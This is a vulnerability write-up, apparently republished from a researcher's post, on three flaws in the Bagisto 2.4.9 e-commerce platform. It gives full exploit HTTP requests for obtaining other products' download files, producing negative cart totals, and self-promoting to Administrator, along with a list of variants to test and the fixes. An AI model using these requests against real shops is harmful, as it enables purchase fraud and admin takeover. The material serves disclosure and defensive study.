Three Vulnerabilities I Found in Bagisto 2.4.9
Three separate flaws in Bagisto 2.4.9: download link IDs from other products were accepted when creating entitlements, negative quantities were accepted on some cart paths and reduced the order total, and an admin with only the settings.users.edit permission could assign themselves the Administrator role. An attacker could obtain paid downloads for a low price, choose their own order total, or gain full admin access.
medium.com
Published on medium.com
Bagisto
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Bagisto is an open-source e-commerce platform built on Laravel. The researcher reviewed version 2.4.9, concentrating on the code paths that handle purchases, downloadable products and admin permissions.
Three issues came out of that review: a cross-product download entitlement, a customer-controlled order total, and a privilege-escalation path from settings.users.edit to the Administrator role. None of them came from a single obviously missing security check. In each case one part of the application handled the request differently from another part, and the gap between those two treatments is what made the bug exploitable.
All requests and responses below come from the researcher's test instance. Session cookies and CSRF tokens are redacted, and one long response body is trimmed to the relevant fields.
Setup
The testing was done against a local Bagisto 2.4.9 instance reachable at localhost:8000. The requests can be changed in an intercepting proxy. The Bug 2 and Bug 3 responses identify the stack as Apache/2.4.68 (Debian) with PHP/8.3.33, and the application sets X-Built-With: Bagisto.
Two kinds of account are involved:
- A customer account, used for the cart and wishlist bugs. The cart responses show
customer_idvalues of 6 and 4 in the two scenarios. - An administrator account holding only the
settings.users.editpermission, used for the privilege-escalation bug. The target account in that request isid4, the attacker's own account.
The downloadable-product scenario uses a product with product_id 145, named "Cybercrew Threat Intelligence Feed", priced at $19.99. The negative-quantity scenario uses a $600 tablet and a $162.52 microwave, with the microwave placed in the wishlist first.
Finding it
What drew the researcher's attention was the pattern rather than any single line: in each of the three areas, one part of the application handled the request differently from another part. The investigation therefore followed the same data through every path that could reach the same state change, instead of stopping at the first validation rule found.
Exploitation
Bug 1: Buy the cheapest download, receive the whole catalogue
CVE-2026-79409, CVSS 6.5.
Bagisto sells downloadable products. When such a product is added to the cart, the request carries a links[] array holding the IDs of the download links being purchased. The add-to-cart endpoint accepts those IDs without checking that they belong to the product being added.
That becomes exploitable because the pricing code and the fulfilment code treat the same IDs differently. Downloadable::prepareForCart() only considers links belonging to the current product when it calculates the price:
foreach ($this->product->downloadable_links as $link) { if (! in_array($link->id, $data['links'])) { continue; } $products[0]['price'] += core()->convertPrice($link->price);}
A link belonging to another product never appears in that loop, so it adds nothing to the price.
The fulfilment code takes a different approach. DownloadableLinkPurchasedRepository::saveLinks() looks up every submitted ID and creates an entitlement for whatever it finds:
foreach ($orderItem->additional['links'] as $linkId) { if (! $link = $this->productDownloadableLinkRepository->find($linkId)) { continue; // must exist - needn't belong to this product } $this->create([ 'file' => $link->file, // a foreign product's file 'customer_id' => $orderItem->order->customer_id, // ... ]);}
Nothing checks that $link->product_id matches the product in the order.
The original links[] array also survives the cart flow, because AbstractType::prepareForCart() stores the client-supplied $data in the cart item's additional field. The ID can therefore be ignored by pricing and still be accepted later, when the entitlement is created.
An attacker adds a cheap downloadable product to the cart and replaces its links[] values with IDs belonging to other products. Because link IDs come from a global auto-increment sequence, they can also be enumerated with values such as links[]=1..N.

Step 1: add the cheap product with foreign link IDs
The request is changed in an intercepting proxy. The $19.99 product is added to the cart, then its link is replaced with IDs from other products:
name="product_id" → 145 (the $19.99 product)name="links[]" → 6name="links[]" → 7name="links[]" → 8 (list price: $947.00)

The full request as sent:
POST /api/checkout/cart HTTP/1.1Host: localhost:8000Content-Length: 623X-Requested-With: XMLHttpRequestAccept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----[redacted]: http://localhost:8000Referer: http://localhost:8000/cybercrew-1-threat-feedCookie: XSRF-[redacted] bagisto_session=<redacted>
------[redacted]-Disposition: form-data; name="product_id"145------[redacted]-Disposition: form-data; name="is_buy_now"0------[redacted]-Disposition: form-data; name="quantity"1------[redacted]-Disposition: form-data; name="links[]"6------[redacted]-Disposition: form-data; name="links[]"7------[redacted]-Disposition: form-data; name="links[]"8------[redacted]--
The multipart body adds product 145 with quantity 1, and submits three link IDs, 6, 7 and 8, that belong to other products.
Step 2: observe that pricing ignores the foreign links
The response:
HTTP/1.1 200 OKContent-Type: application/jsonX-Built-With: BagistoCache-Control: no-cache, private
{"data":{"id":20,"is_guest":0,"customer_id":6,"items_count":1,"items_qty":1,"sub_total":19.99,"formatted_sub_total":"$19.99","discount_amount":0,"formatted_discount_amount":"$0.00","grand_total":19.99,"formatted_grand_total":"$19.99","items":[{"id":25,"quantity":1,"type":"downloadable","name":"Cybercrew Threat Intelligence Feed","price":"19.9900","formatted_price":"$19.99","total":"19.9900","formatted_total":"$19.99","product_url_key":"cybercrew-1-threat-feed","options":[{"option_id":0,"option_label":"","attribute_name":"Downloads"}],"can_change_qty":false}]},"message":"Item Added Successfully"}


The response shows the pricing side of the bug: the cart holds the $19.99 product and the total stays at $19.99, even though the request included links 6, 7 and 8. Those IDs are processed later by the fulfilment code and turned into download entitlements.
Step 3: check out and receive the foreign files
The cart still shows $19.99, and checkout completes normally.

In the test instance the researcher paid $19.99 and received files with a combined list price of $947.00. The original link was also removed from the request, so the purchased product itself was not among the resulting entitlements.
The injected entitlements are not obvious in the UI. The storefront Downloads section and the admin order view are built from the ordered product's own links, so the extra entries appear as an empty value. They are visible in the downloadable_link_purchased table.
Bug 2: Choose your own order total with a negative quantity
CVE-2026-79410, CVSS 8.1.
Bagisto calculates the line total as price × quantity, and the add-to-cart path does not require the quantity to be positive.
A check for non-positive quantities already exists on another path. Cart::updateItems() removes the item when the quantity is zero or below:
if ($quantity <= 0) { $this->removeItem($itemId); return false;}
The add path does not behave the same way. handleQuantity() returns the original value for negative numbers:
public function handleQuantity(int $quantity): int{ return $quantity ?: 1; }
So the same quantity can be rejected during an update but accepted when the item is added.
Two entry points are affected. The wishlist "move to cart" endpoint does not validate the quantity before passing it to the cart. Bundle option quantities (bundle_option_qty[...]) also bypass the validation applied to the bundle options themselves.
Step 1: prepare the cart and wishlist
Add a $600 tablet to the cart, put a $162.52 microwave in the wishlist, then move the microwave to the cart with a changed quantity:
{"quantity": -3, "product_id": 127}
Step 2: send the move-to-cart request
POST /api/customer/wishlist/7/move-to-cart HTTP/1.1Host: localhost:8000Content-Length: 31X-XSRF-TOKEN: <redacted>X-Requested-With: XMLHttpRequestAccept: application/json, text/plain, */*Content-Type: application/jsonOrigin: http://localhost:8000Referer: http://localhost:8000/customer/account/wishlistCookie: dark_mode=1; XSRF-[redacted] bagisto_session=<redacted>
{"quantity":-3,"product_id":127}

The body moves product 127 to the cart with a quantity of -3.
Step 3: read the negative line total in the response
{"data":{"wishlist":[],"cart":{"id":23,"customer_id":4,"items_count":2,"items_qty":1,"sub_total":112.44,"formatted_sub_total":"$112.44","grand_total":112.44,"formatted_grand_total":"$112.44","items":[ {"id":30,"quantity":1,"type":"simple", "name":"10.1-Inch Android Tablet with Octa-Core Processor & 64GB Storage", "price":"600.0000","formatted_price":"$600.00", "total":"600.0000","formatted_total":"$600.00"}, {"id":31,"quantity":0,"type":"simple", "name":"20L Solo Microwave Oven with Manual Controls", "price":"162.5200","formatted_price":"$162.52", "total":"-487.5600","formatted_total":"-$487.56"}]}},"message":"Item Successfully Moved to Cart"}
(Response trimmed: image URL blocks and tax breakdown fields removed for readability.)
The microwave line stores a negative total of -$487.56, which is subtracted from the $600 tablet already in the cart. The cart's sub_total and grand_total come out at $112.44.



The stored quantity is 0 because MySQL clamps the negative value, while the signed total remains negative.
Bug 3: One permission is the whole admin panel
CVE-2026-79411, CVSS 8.8.
The admin panel has a similar authorisation problem. An administrator holding only settings.users.edit can assign themselves the Administrator role. That role has permission_type = all, which gives access to store configuration, payment settings, customer data, orders and the rest of the admin panel.
No CSRF bypass is needed. The user-management page already includes the full roles list, Administrator included, in the normal edit form. Selecting it and submitting the request is enough.
Step 1: confirm the limited account is blocked
Before the change, the limited account receives 401 responses from privileged pages such as the dashboard, catalogue, customers, orders, roles and configuration.

Step 2: change the account's own role
The account can access /admin/settings/users. Changing its own role_id to 1 is enough to promote the account.

POST /admin/settings/users/edit HTTP/1.1Host: localhost:8000Content-Length: 837X-XSRF-TOKEN: <redacted>X-Requested-With: XMLHttpRequestAccept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----[redacted]: http://localhost:8000Referer: http://localhost:8000/admin/settings/usersCookie: XSRF-[redacted] bagisto_session=<redacted>
------[redacted]-Disposition: form-data; name="id"4------[redacted]-Disposition: form-data; name="name"Limited User------[redacted]-Disposition: form-data; name="email"[redacted]------[redacted]-Disposition: form-data; name="role_id"1------[redacted]-Disposition: form-data; name="status"1------[redacted]-Disposition: form-data; name="_method"put------[redacted]--
The target id (4) is the attacker's own account, and role_id (1) is the Administrator role.
Step 3: confirm the promotion
The server accepts the change and returns success:
{"message":"User updated successfully."}
Without logging out, the same privileged pages then return 200.

The whole escalation can be demonstrated in a single session.
Root cause
Bug 1
Pricing and fulfilment disagree about what a link ID means. Downloadable::prepareForCart() filters the submitted IDs against the current product's own links, so a foreign ID contributes nothing to the price. DownloadableLinkPurchasedRepository::saveLinks() looks up each submitted ID globally and creates an entitlement for whatever it finds, with no check that $link->product_id matches the product in the order. Because AbstractType::prepareForCart() stores the client-supplied $data in the cart item's additional field, the original array reaches fulfilment unchanged. Validation at the request boundary is still useful, but it should not be the only check; the entitlement is created from data the client controls.
Bug 2
handleQuantity() returns the original value for negative numbers (return $quantity ?: 1;), so a negative quantity passes the add path even though Cart::updateItems() removes items with a quantity of zero or below. Two further parts of the application fail to stop the resulting negative total:
- At checkout,
Simple::validateCartItem()compares the stored unit price with a freshly calculated price. Since only the quantity was changed, the prices match and the function returns without recalculating the total. - The quantity column is
int unsigned, but Bagisto uses'strict' => falsein its database configuration. MySQL therefore clamps the negative value to0instead of raising an error, while the signedtotalremains negative.
Bug 3
The role update does not check whether the current administrator is allowed to assign the selected role. It also does not prevent self-assignment or compare the privilege level of the new role with the actor's current role. The role_id field is only checked for presence:
'role_id' => 'required'
There is no exists: rule and no restriction on which roles can be assigned.
A guard for role changes exists, but it checks a different case:
$isRoleChanged = $user->role->permission_type === 'all' && isset($data['role_id']) && (int) $data['role_id'] !== $user->role_id;
if ($isRoleChanged && $this->adminRepository->countAdminsWithAllAccess() === 1) { return $this->cannotChangeRedirectResponse('role');}
$user is the target account. When a custom-role account is promoted, $user->role->permission_type === 'all' is false because the target is not a full-access administrator yet. That makes $isRoleChanged false and the guard is skipped. The existing check therefore covers a full-access administrator changing their own role when they are the last remaining full-access administrator. It does not stop a lower-privileged administrator from assigning themselves that role.
Impact
- Bug 1 (CVSS 6.5): a customer can pay for a cheap downloadable product and receive download entitlements for files belonging to other products. In the test instance, $19.99 bought files with a combined list price of $947.00. The foreign entitlements do not appear in the storefront Downloads section or the admin order view, which are built from the ordered product's own links; they are visible in the
downloadable_link_purchasedtable. Link IDs come from a global auto-increment sequence, so they can be enumerated with values such aslinks[]=1..N. - Bug 2 (CVSS 8.1): a customer can make the cart total lower than the goods in it, in the test case reducing a $600 tablet plus a $162.52 microwave to a $112.44 cart total. The wishlist move-to-cart endpoint and bundle option quantities (
bundle_option_qty[...]) are the affected entry points. - Bug 3 (CVSS 8.8): an administrator holding only
settings.users.editcan promote their own account to the Administrator role, gaining access to store configuration, payment settings, customer data, orders and the rest of the admin panel. No CSRF bypass is needed, and the escalation works within a single session.
Fix
Bug 1
The fix should be applied where the entitlement is created:
$allowedIds = $orderItem->product->downloadable_links()->pluck('id')->all();$requested = array_map('intval', (array) ($orderItem->additional['links'] ?? []));
foreach (array_intersect($requested, $allowedIds) as $linkId) { // ...}
Validation at the request boundary is still useful, but it should not be the only check. The fulfilment code should verify that every link belongs to the product being fulfilled.
Bug 2
The simplest fix is to reject non-positive quantities inside handleQuantity():
public function handleQuantity(int $quantity): int{ return $quantity > 0 ? $quantity : 1;}
The affected entry points should also validate the incoming quantity. The database setting 'strict' => false is worth reviewing too, since silently changing an invalid value can hide bugs like this.
Bug 3
The fix is to check the actor's authority before writing the new role. A non-full-access administrator should not be able to assign a role with broader permissions:
$actor = auth()->guard('admin')->user();$targetRole = $this->roleRepository->find($data['role_id']);
if ($actor->role->permission_type !== 'all' && $targetRole->permission_type === 'all') { abort(401);}
Filtering the roles shown in the UI is also useful, but that should not be the authorisation control. A crafted request can bypass the interface, so the server needs to enforce the role-assignment rule.
Disclosure
All three issues were reported to Webkul on 2026-08-12 and assigned CVE identifiers:
+| CVE | Class | CVSS | Details |+| CVE-2026-79409 | Cross-product downloadable entitlement grant (IDOR) | 6.5 | https://nvd.nist.gov/vuln/detail/CVE-2026-79409 || CVE-2026-79410 | Customer-controlled order total (negative quantity) | 8.1 | https://nvd.nist.gov/vuln/detail/CVE-2026-79410 || CVE-2026-79411 | Vertical privilege escalation via settings.users.edit| 8.8 | https://nvd.nist.gov/vuln/detail/CVE-2026-79411 |+
Disclosure timeline:
August 12, 2026 → Vulnerabilities reported privately to BagistoSeptember 2, 2026 → Bagisto confirmed the report was still under reviewSeptember 12, 2026 → CVEs assigned and updated findings + patch sharedSeptember 12 onward → No further response from BagistoNovember 10, 2026 → Planned public disclosure
A proof of concept is published at github.com/isukasanuj/bagisto-cve.
Variants to test
- Other downloadable-product carts. Submit a
links[]array containing IDs that belong to a different product and check whether the cart total stays at the cheap product's price while the order still completes. A positive result is a cart response whose total ignores the foreign IDs, followed by entitlements for those IDs in the purchased-links table. - Enumerating link IDs. Send sequential values such as
links[]=1..Nand look for entitlements created for IDs that were never offered on the product page. - Other quantity entry points. Try negative quantities on every endpoint that accepts a quantity, including wishlist move-to-cart and bundle option quantities (
bundle_option_qty[...]). A positive result is a line total that is negative while the request returns success. - Price-versus-total recalculation. After a negative line total is stored, proceed to checkout and confirm whether the total is recalculated. If the order completes at the reduced total, the validation gap is confirmed.
- Database strict mode. Check whether the application runs MySQL with
'strict' => false; if so, test whether invalid values are silently clamped rather than rejected, and whether a signed total survives the clamp. - Role assignment by lower-privileged admins. With an account holding only
settings.users.edit, submit an edit request for your own account with the Administrator role'srole_id. A positive result is a success response followed by 200 responses from previously forbidden admin pages in the same session. - Role list exposure. Inspect the user edit form for roles the actor should not be able to assign; if the full list, including full-access roles, is present, the server-side check is the only barrier.
- Self-assignment and privilege comparison. Test whether the application prevents an actor from assigning themselves a role, and whether it compares the new role's privilege level with the actor's current one.
What happened, in plain words
A security researcher looked at Bagisto, a free and open-source online shop system. Shops built on Bagisto can sell normal products and also downloadable products, such as files a customer receives after paying. The researcher tested version 2.4.9 and found three separate problems.
- Cheap download, expensive files. A customer could pay for a cheap downloadable product and still receive the download files that belong to much more expensive products.
- A cart total the customer controls. A customer could put a negative quantity of an item into the cart, which made the total go down instead of up.
- A small admin permission that turns into full control. An administrator who was only allowed to edit user accounts could give their own account the top Administrator role, which unlocks the whole admin panel.
What makes these interesting is that none of them came from one obviously missing check. In each case, one part of the application handled a request one way and another part handled the same request a different way. The gap between those two behaviours is where the bug lived.

All the requests and responses below come from the researcher's own test installation, not from a live shop. Session cookies and CSRF tokens have been redacted, and one long response has been trimmed to the fields that matter.
The setup, explained from zero
Before the bugs, a few words about the pieces involved, because the rest of the article uses them constantly.
Bagisto is a shop-building program written in PHP using a framework called Laravel. A framework is a set of ready-made building blocks that developers use so they do not have to write everything from scratch. Bagisto runs on a web server (here Apache) and stores its data in a database (here MySQL).
A test instance is a private copy of the shop that runs on the researcher's own computer. The address localhost:8000 means "this same computer, port 8000". Nothing done there affects real customers.
A browser is what a normal visitor uses. It sends requests to the shop and shows the pages that come back. A request is simply a message the browser sends to the server: "give me this page" or "add this product to my cart". A response is the server's reply.
An API is a way for a program (or a browser acting on its own) to talk to the server without loading a full web page. Instead of an HTML page, the server answers with structured data, usually JSON, which is a text format that looks like {"name": "value"}. The requests in this article go to API addresses such as /api/checkout/cart.
A cookie is a small piece of text the server asks the browser to keep and send back with every later request. It is how the server remembers who you are between requests. The bagisto_session cookie is the shop's way of recognising your logged-in session. A session is the period during which the server treats you as the same visitor.
A CSRF token (Cross-Site Request Forgery token) is a random value the server puts into forms and expects back, to make sure a request really came from the shop's own pages and not from some other website tricking your browser. Here it appears as XSRF-TOKEN and X-XSRF-TOKEN. Both are redacted in the examples.
An intercepting proxy is a tool that sits between the browser and the server. It lets you pause a request, edit it by hand, and then send it on. This is how the researcher changed values that the normal page would not let a visitor change.
An ID is a number the database uses to identify a row, such as a product or a user. IDs are usually handed out automatically in order (1, 2, 3, ...), which is called an auto-increment sequence. That matters later: if IDs are predictable, someone can guess them.
CVSS is a scoring system for how serious a security flaw is. Scores run from 0 to 10; higher is worse. CVE is a public catalogue number given to a confirmed vulnerability so people can refer to it unambiguously.
Two kinds of account appear in the tests:
- A customer account, used for the cart and wishlist bugs. The cart responses show
customer_idvalues of 6 and 4 in the two scenarios. - An administrator account that holds only the
settings.users.editpermission, used for the third bug. The account being edited in that request isid4, the attacker's own account.
The downloadable-product scenario uses a product with product_id 145, named "Cybercrew Threat Intelligence Feed", priced at $19.99. The negative-quantity scenario uses a $600 tablet and a $162.52 microwave, with the microwave placed in the wishlist first.
How the researcher approached it
What drew attention was the pattern rather than any single line of code. In each of the three areas, one part of the application handled the request differently from another part. So the investigation followed the same piece of data through every path that could reach the same state change, instead of stopping at the first validation rule found. A validation rule is a check that rejects bad input, for example "the quantity must be a positive number". The lesson is that finding one such rule is only the start; you also have to check whether every other route to the same result applies it.
Bug 1: buy the cheapest download, receive the whole catalogue
This one is CVE-2026-79409, with a CVSS score of 6.5.
Bagisto sells downloadable products. When a customer adds one to the cart, the request carries a links[] array holding the IDs of the download links being bought. An array is just a list of values under one name; links[] means "here comes one more value for the list called links". The add-to-cart endpoint accepts those IDs without checking that they belong to the product being added. An endpoint is a specific address on the server that accepts a particular kind of request.
That becomes exploitable because the pricing code (which works out what the customer pays) and the fulfilment code (which hands out the files after payment) treat the same IDs differently. Downloadable::prepareForCart() only considers links belonging to the current product when it calculates the price:
foreach ($this->product->downloadable_links as $link) { if (! in_array($link->id, $data['links'])) { continue; } $products[0]['price'] += core()->convertPrice($link->price);}
Line by line:
foreach ($this->product->downloadable_links as $link)walks through every download link that belongs to the product being added, one at a time.if (! in_array($link->id, $data['links']))asks: is this link's ID missing from the list the customer sent? If yes, the next line runs.continue;skips this link and moves to the next one. So links the customer did not ask for are ignored.$products[0]['price'] += core()->convertPrice($link->price);adds the price of the link to the product's price. This only happens for links that belong to the product and were requested.
A link belonging to another product never appears in that loop, so it adds nothing to the price. The customer is charged only for the cheap product.
The fulfilment code takes a different approach. DownloadableLinkPurchasedRepository::saveLinks() looks up every submitted ID and creates an entitlement for whatever it finds. An entitlement is a record saying "this customer is allowed to download this file".
foreach ($orderItem->additional['links'] as $linkId) { if (! $link = $this->productDownloadableLinkRepository->find($linkId)) { continue; // must exist - needn't belong to this product } $this->create([ 'file' => $link->file, // a foreign product's file 'customer_id' => $orderItem->order->customer_id, // ... ]);}
Line by line:
foreach ($orderItem->additional['links'] as $linkId)walks through the link IDs that were stored with the order item.additionalis an extra field where the shop keeps details that do not fit the standard columns.if (! $link = $this->productDownloadableLinkRepository->find($linkId))tries to look up the link by its ID in the whole database. If no such link exists, the next line runs.continue;skips an ID that does not exist at all. The comment says it plainly: the link must exist, but it need not belong to this product.$this->create([ ... ])creates a new entitlement record, storing the file from the found link and the customer from the order.
Nothing checks that $link->product_id matches the product in the order. In other words, the fulfilment code never asks "does this file really belong to what was bought?".
The original links[] array also survives the cart flow, because AbstractType::prepareForCart() stores the client-supplied $data in the cart item's additional field. The ID can therefore be ignored by pricing and still be accepted later, when the entitlement is created. The customer's list is kept as-is and passed along.
An attacker adds a cheap downloadable product to the cart and replaces its links[] values with IDs belonging to other products. Because link IDs come from a global auto-increment sequence, they can also be enumerated with values such as links[]=1..N. Enumerating means trying a series of predictable values, 1, 2, 3 and so on, to see which ones exist.

Step 1: add the cheap product with foreign link IDs
The request is changed in an intercepting proxy. The $19.99 product is added to the cart, then its link is replaced with IDs from other products:
name="product_id" → 145 (the $19.99 product)name="links[]" → 6name="links[]" → 7name="links[]" → 8 (list price: $947.00)
This is the heart of the trick. product_id still says 145, the cheap product, so the shop charges for that. But the three links[] values, 6, 7 and 8, point at download files that belong to other, far more expensive products. The arrow means "the value sent was changed to".

The full request as sent:
POST /api/checkout/cart HTTP/1.1Host: localhost:8000Content-Length: 623X-Requested-With: XMLHttpRequestAccept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----[redacted]: http://localhost:8000Referer: http://localhost:8000/cybercrew-1-threat-feedCookie: XSRF-[redacted] bagisto_session=<redacted>
Line by line:
POST /api/checkout/cart HTTP/1.1is the request line.POSTmeans "I am sending data to create or change something". The path is the add-to-cart API.HTTP/1.1is the version of the web protocol.Host: localhost:8000says which server the request is for, here the local test instance.Content-Length: 623tells the server how many bytes of body follow.X-Requested-With: XMLHttpRequestmarks the request as coming from JavaScript in the page rather than a plain link click.Accept: application/json, text/plain, */*says the browser is happy to receive JSON, plain text, or anything else.Content-Type: multipart/form-data; boundary=----[redacted]says the body is a form split into parts, and gives the separator string used between parts.OriginandReferertell the server which page the request came from. They are normal browser headers.Cookie: XSRF-[redacted] bagisto_session=<redacted>carries the two cookies described earlier. The values are redacted because they are secrets that would let someone else act as this user.
------[redacted]-Disposition: form-data; name="product_id"145------[redacted]-Disposition: form-data; name="is_buy_now"0------[redacted]-Disposition: form-data; name="quantity"1------[redacted]-Disposition: form-data; name="links[]"6------[redacted]-Disposition: form-data; name="links[]"7------[redacted]-Disposition: form-data; name="links[]"8------[redacted]--
Line by line:
- Each
------WebKitFormBoundary...line is the separator between form parts. The final one ends with--, which marks the end of the body. Content-Disposition: form-data; name="product_id"starts a part namedproduct_id, and the line after it,145, is the value. So the product being added is 145.name="is_buy_now"with value0means this is a normal add to cart, not an immediate purchase.name="quantity"with value1means one unit.- Three parts named
links[]carry the values6,7and8. These are the foreign download link IDs.
The multipart body adds product 145 with quantity 1, and submits three link IDs, 6, 7 and 8, that belong to other products.
Step 2: observe that pricing ignores the foreign links
The response:
HTTP/1.1 200 OKContent-Type: application/jsonX-Built-With: BagistoCache-Control: no-cache, private
Line by line:
HTTP/1.1 200 OKis the status line.200means success.Content-Type: application/jsonsays the body is JSON.X-Built-With: Bagistois a custom header the shop adds, identifying itself.Cache-Control: no-cache, privatetells browsers and proxies not to store this response for reuse.
{"data":{"id":20,"is_guest":0,"customer_id":6,"items_count":1,"items_qty":1,"sub_total":19.99,"formatted_sub_total":"$19.99","discount_amount":0,"formatted_discount_amount":"$0.00","grand_total":19.99,"formatted_grand_total":"$19.99","items":[{"id":25,"quantity":1,"type":"downloadable","name":"Cybercrew Threat Intelligence Feed","price":"19.9900","formatted_price":"$19.99","total":"19.9900","formatted_total":"$19.99","product_url_key":"cybercrew-1-threat-feed","options":[{"option_id":0,"option_label":"","attribute_name":"Downloads"}],"can_change_qty":false}]},"message":"Item Added Successfully"}
Line by line:
"id":20is the cart's own ID, and"customer_id":6says whose cart it is."items_count":1and"items_qty":1say the cart holds one item, one unit."sub_total":19.99and"grand_total":19.99are the money figures. Both are $19.99."items"is the list of things in the cart. The single entry has"id":25,"type":"downloadable", and the name "Cybercrew Threat Intelligence Feed"."price":"19.9900"and"total":"19.9900"confirm the line costs $19.99."message":"Item Added Successfully"is the human-readable confirmation.


The response shows the pricing side of the bug: the cart holds the $19.99 product and the total stays at $19.99, even though the request included links 6, 7 and 8. Those IDs are processed later by the fulfilment code and turned into download entitlements.
Step 3: check out and receive the foreign files
The cart still shows $19.99, and checkout completes normally.

In the test instance the researcher paid $19.99 and received files with a combined list price of $947.00. The original link was also removed from the request, so the purchased product itself was not among the resulting entitlements.
The injected entitlements are not obvious in the UI. The storefront Downloads section and the admin order view are built from the ordered product's own links, so the extra entries appear as an empty value. They are visible in the downloadable_link_purchased table. A database table is where rows of data are stored; this one holds the purchased-link records.
Bug 2: choose your own order total with a negative quantity
This one is CVE-2026-79410, with a CVSS score of 8.1.
Bagisto calculates the line total as price × quantity. If the price is $162.52 and the quantity is 3, the line total is $487.56. The add-to-cart path does not require the quantity to be positive, and that is the opening.
A check for non-positive quantities already exists on another path. Cart::updateItems() removes the item when the quantity is zero or below:
if ($quantity <= 0) { $this->removeItem($itemId); return false;}
Line by line:
if ($quantity <= 0)asks whether the quantity is zero or negative.$this->removeItem($itemId);deletes the item from the cart.return false;reports that the update did not go through.
So the update path is careful. The add path is not. handleQuantity() returns the original value for negative numbers:
public function handleQuantity(int $quantity): int{ return $quantity ?: 1; }
Line by line:
public function handleQuantity(int $quantity): intdeclares a function that takes a whole number and returns a whole number.return $quantity ?: 1;is a shorthand. If$quantityis a non-zero value, it is returned unchanged. If it is zero (or empty), the function returns 1 instead. A negative number counts as non-zero, so it passes straight through.
So the same quantity can be rejected during an update but accepted when the item is added. Two entry points are affected. The wishlist "move to cart" endpoint does not validate the quantity before passing it to the cart. Bundle option quantities (bundle_option_qty[...]) also bypass the validation applied to the bundle options themselves. A bundle is a product made of several selectable parts, each with its own quantity.
Step 1: prepare the cart and wishlist
Add a $600 tablet to the cart, put a $162.52 microwave in the wishlist, then move the microwave to the cart with a changed quantity:
{"quantity": -3, "product_id": 127}
This is the body the researcher intends to send. product_id 127 is the microwave, and quantity is -3, a negative number. The normal page would never send this; the proxy lets it be typed in by hand.
Step 2: send the move-to-cart request
POST /api/customer/wishlist/7/move-to-cart HTTP/1.1Host: localhost:8000Content-Length: 31X-XSRF-TOKEN: <redacted>X-Requested-With: XMLHttpRequestAccept: application/json, text/plain, */*Content-Type: application/jsonOrigin: http://localhost:8000Referer: http://localhost:8000/customer/account/wishlistCookie: dark_mode=1; XSRF-[redacted] bagisto_session=<redacted>
Line by line:
POST /api/customer/wishlist/7/move-to-cartis the request line. The7is the wishlist entry being moved.Host,Content-Length,X-Requested-With,Accept,OriginandRefererdo the same jobs as in Bug 1.X-XSRF-TOKEN: <redacted>is the CSRF token sent as a header instead of inside the body, which is common for JSON requests.Cookie: dark_mode=1; XSRF-[redacted] bagisto_session=<redacted>carries the cookies.dark_mode=1is just a display preference; the other two identify the session and the CSRF token.
{"quantity":-3,"product_id":127}
Line by line:
"quantity":-3is the negative quantity. This is the value the add path should have rejected."product_id":127is the microwave being moved from the wishlist.
The body moves product 127 to the cart with a quantity of -3.

Step 3: read the negative line total in the response
Line by line:
HTTP/1.1 200 OKmeans the server accepted the request.Dateis when the response was produced.Server: Apache/2.4.68 (Debian)andX-Powered-By: PHP/8.3.33reveal the web server and PHP version.X-Built-With: Bagistoidentifies the shop software.Set-Cookielines tell the browser to store or refresh cookies.path=/means the cookie applies to the whole site,httponlymeans page scripts cannot read it, andsamesite=laxlimits when it is sent on cross-site requests.
{"data":{"wishlist":[],"cart":{"id":23,"customer_id":4,"items_count":2,"items_qty":1,"sub_total":112.44,"formatted_sub_total":"$112.44","grand_total":112.44,"formatted_grand_total":"$112.44","items":[ {"id":30,"quantity":1,"type":"simple", "name":"10.1-Inch Android Tablet with Octa-Core Processor & 64GB Storage", "price":"600.0000","formatted_price":"$600.00", "total":"600.0000","formatted_total":"$600.00"}, {"id":31,"quantity":0,"type":"simple", "name":"20L Solo Microwave Oven with Manual Controls", "price":"162.5200","formatted_price":"$162.52", "total":"-487.5600","formatted_total":"-$487.56"}]}},"message":"Item Successfully Moved to Cart"}
(Response trimmed: image URL blocks and tax breakdown fields removed for readability.)
Line by line:
"wishlist":[]is now empty, because the microwave was moved out of it."cart"holds the cart."id":23is the cart,"customer_id":4is the customer, and"items_count":2says two lines are in it."sub_total":112.44and"grand_total":112.44are the totals after the negative line was applied.- The first item,
"id":30, is the tablet:"quantity":1,"price":"600.0000","total":"600.0000". That is $600. - The second item,
"id":31, is the microwave:"quantity":0,"price":"162.5200", but"total":"-487.5600", shown as"-$487.56". "message":"Item Successfully Moved to Cart"confirms the server thought everything was fine.
The microwave line stores a negative total of -$487.56, which is subtracted from the $600 tablet already in the cart. The cart's sub_total and grand_total come out at $112.44.



The stored quantity is 0 because MySQL clamps the negative value, while the signed total remains negative. Clamping means quietly forcing a value into an allowed range instead of rejecting it. The quantity column only accepts unsigned (non-negative) numbers, so -3 became 0. But the total was calculated before that and kept its minus sign.
Bug 3: one permission is the whole admin panel
This one is CVE-2026-79411, with a CVSS score of 8.8.
The admin panel has a similar authorisation problem. Authorisation is the question "is this user allowed to do this?", as opposed to authentication, which is "who is this user?". An administrator holding only settings.users.edit can assign themselves the Administrator role. That role has permission_type = all, which gives access to store configuration, payment settings, customer data, orders and the rest of the admin panel.
No CSRF bypass is needed. The user-management page already includes the full roles list, Administrator included, in the normal edit form. Selecting it and submitting the request is enough. In other words, the page itself offers the dangerous option; the server simply never checks whether the person choosing it is allowed to.
Step 1: confirm the limited account is blocked
Before the change, the limited account receives 401 responses from privileged pages such as the dashboard, catalogue, customers, orders, roles and configuration. A 401 status means "not authorised".

Step 2: change the account's own role
The account can access /admin/settings/users. Changing its own role_id to 1 is enough to promote the account.

POST /admin/settings/users/edit HTTP/1.1Host: localhost:8000Content-Length: 837X-XSRF-TOKEN: <redacted>X-Requested-With: XMLHttpRequestAccept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----[redacted]: http://localhost:8000Referer: http://localhost:8000/admin/settings/usersCookie: XSRF-[redacted] bagisto_session=<redacted>
Line by line:
POST /admin/settings/users/editis the address that saves changes to a user account.- The headers do the same jobs as before:
Host,Content-Length,X-XSRF-TOKEN,X-Requested-With,Accept,Content-Type,Origin,RefererandCookie. - The
Content-Typesays the body is a multipart form, with the boundary string shown.
